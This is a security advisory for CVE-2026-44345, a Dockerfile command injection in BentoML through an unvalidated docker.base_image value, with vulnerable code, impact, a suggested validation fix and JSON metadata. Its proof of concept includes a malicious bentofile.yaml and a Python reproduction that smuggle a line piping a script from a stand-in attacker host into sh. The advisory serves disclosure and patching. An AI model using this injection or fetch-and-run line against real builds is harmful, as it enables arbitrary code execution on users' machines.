GHSA-78F9-R8MH-4XM2

Vulnerability from github – Published: 2026-05-11 14:27 – Updated: 2026-06-08 23:49
VLAI
Summary
BentoML Dockerfile command injection via docker.base_image (sister of pending GHSA-w2pm-x38x-jp44 / CVE-2026-33744 / CVE-2026-35043)
Details

The same Dockerfile template that mishandles envs[*].name (pending GHSA-w2pm-x38x-jp44) also interpolates docker.base_image raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line docker.base_image value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and bentoml containerize then runs docker build which executes the injected RUN directives on the victim host.

Vulnerable code

src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2:38 (current main, 2026-04-28):

FROM {{ __options__base_image }} AS base-container

__options__base_image resolves to DockerOptions.base_image (src/bentoml/_internal/bento/build_config.py:176):

base_image: t.Optional[str] = None

No validator, no converter, no newline check. The value is loaded straight from bento.yaml in src/bentoml/_internal/container/__init__.py:206 via DockerOptions(**docker_attrs) and rendered as-is.

PoC

Malicious bentofile.yaml:

docker:
  base_image: |
    python:3.10
    RUN curl https://attacker.tld/x.sh | sh
    FROM scratch

Minimal reproduction of the unsafe interpolation:

from jinja2 import Environment
env = Environment()
malicious = 'python:3.10\nRUN curl https://attacker.tld/x.sh | sh\nFROM scratch'
out = env.from_string('FROM {{ __options__base_image }} AS base-container').render(__options__base_image=malicious)
print(out)

Output:

FROM python:3.10
RUN curl https://attacker.tld/x.sh | sh
FROM scratch AS base-container

Three valid Dockerfile directives instead of one. The RUN curl executes during docker build. The trailing FROM scratch AS base-container provides the named build stage the rest of the template depends on, so the build proceeds without error.

Impact

Identical to GHSA-w2pm-x38x-jp44: arbitrary command execution on the victim's host during bentoml containerize of an attacker-supplied bento. Threat model is bento sharing (registry, marketplace, supply-chain handoff). The victim expects docker.base_image to be a Docker image reference, not a Dockerfile fragment.

Suggested fix

Validate DockerOptions.base_image at the config layer: reject any value containing newline characters (\n, \r) or whitespace beyond a single space-separated tag. A regex like ^[A-Za-z0-9._/-]+(:[A-Za-z0-9._-]+)?(@sha256:[a-f0-9]{64})?$ covers the practical Docker reference format.

The same hardening should be extended to other unvalidated fields interpolated raw in base_v2.j2:

  • __options__build_include[*] at line 97 (COPY ... ./src/{{ name }} ./src/{{ name }}) — same newline-injection class for path entries from Image.build_include(*file_paths).
  • bento__user, bento__uid_gid, bento__path, bento__home, bento__entrypoint — currently sourced from server-side defaults but should be defended in depth if they ever become user-overridable through override_bento_env.

References

  • Pending sibling: GHSA-w2pm-x38x-jp44 (envs[*].name), itself a sibling-fix-bypass of CVE-2026-33744 / CVE-2026-35043.
  • CWE-78: https://cwe.mitre.org/data/definitions/78.html
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.4.38"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "bentoml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.39"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44345"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-11T14:27:06Z",
    "nvd_published_at": "2026-05-27T18:16:23Z",
    "severity": "HIGH"
  },
  "details": "The same Dockerfile template that mishandles `envs[*].name` (pending GHSA-w2pm-x38x-jp44) also interpolates `docker.base_image` raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line `docker.base_image` value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and `bentoml containerize` then runs `docker build` which executes the injected `RUN` directives on the victim host.\n\n## Vulnerable code\n\n`src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2:38` (current main, 2026-04-28):\n\n```jinja\nFROM {{ __options__base_image }} AS base-container\n```\n\n`__options__base_image` resolves to `DockerOptions.base_image` (`src/bentoml/_internal/bento/build_config.py:176`):\n\n```python\nbase_image: t.Optional[str] = None\n```\n\nNo `validator`, no `converter`, no newline check. The value is loaded straight from `bento.yaml` in `src/bentoml/_internal/container/__init__.py:206` via `DockerOptions(**docker_attrs)` and rendered as-is.\n\n## PoC\n\nMalicious `bentofile.yaml`:\n\n```yaml\ndocker:\n  base_image: |\n    python:3.10\n    RUN curl https://attacker.tld/x.sh | sh\n    FROM scratch\n```\n\nMinimal reproduction of the unsafe interpolation:\n\n```python\nfrom jinja2 import Environment\nenv = Environment()\nmalicious = \u0027python:3.10\\nRUN curl https://attacker.tld/x.sh | sh\\nFROM scratch\u0027\nout = env.from_string(\u0027FROM {{ __options__base_image }} AS base-container\u0027).render(__options__base_image=malicious)\nprint(out)\n```\n\nOutput:\n\n```\nFROM python:3.10\nRUN curl https://attacker.tld/x.sh | sh\nFROM scratch AS base-container\n```\n\nThree valid Dockerfile directives instead of one. The `RUN curl` executes during `docker build`. The trailing `FROM scratch AS base-container` provides the named build stage the rest of the template depends on, so the build proceeds without error.\n\n## Impact\n\nIdentical to GHSA-w2pm-x38x-jp44: arbitrary command execution on the victim\u0027s host during `bentoml containerize` of an attacker-supplied bento. Threat model is bento sharing (registry, marketplace, supply-chain handoff). The victim expects `docker.base_image` to be a Docker image reference, not a Dockerfile fragment.\n\n## Suggested fix\n\nValidate `DockerOptions.base_image` at the config layer: reject any value containing newline characters (`\\n`, `\\r`) or whitespace beyond a single space-separated tag. A regex like `^[A-Za-z0-9._/-]+(:[A-Za-z0-9._-]+)?(@sha256:[a-f0-9]{64})?$` covers the practical Docker reference format.\n\nThe same hardening should be extended to other unvalidated fields interpolated raw in `base_v2.j2`:\n\n* `__options__build_include[*]` at line 97 (`COPY ... ./src/{{ name }} ./src/{{ name }}`) \u2014 same newline-injection class for path entries from `Image.build_include(*file_paths)`.\n* `bento__user`, `bento__uid_gid`, `bento__path`, `bento__home`, `bento__entrypoint` \u2014 currently sourced from server-side defaults but should be defended in depth if they ever become user-overridable through `override_bento_env`.\n\n## References\n\n* Pending sibling: GHSA-w2pm-x38x-jp44 (envs[*].name), itself a sibling-fix-bypass of CVE-2026-33744 / CVE-2026-35043.\n* CWE-78: https://cwe.mitre.org/data/definitions/78.html",
  "id": "GHSA-78f9-r8mh-4xm2",
  "modified": "2026-06-08T23:49:18Z",
  "published": "2026-05-11T14:27:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/bentoml/BentoML/security/advisories/GHSA-78f9-r8mh-4xm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bentoml/BentoML/security/advisories/GHSA-w2pm-x38x-jp44"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44345"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bentoml/BentoML"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/bentoml/PYSEC-2026-189.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "BentoML Dockerfile command injection via docker.base_image (sister of pending GHSA-w2pm-x38x-jp44 / CVE-2026-33744 / CVE-2026-35043)"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…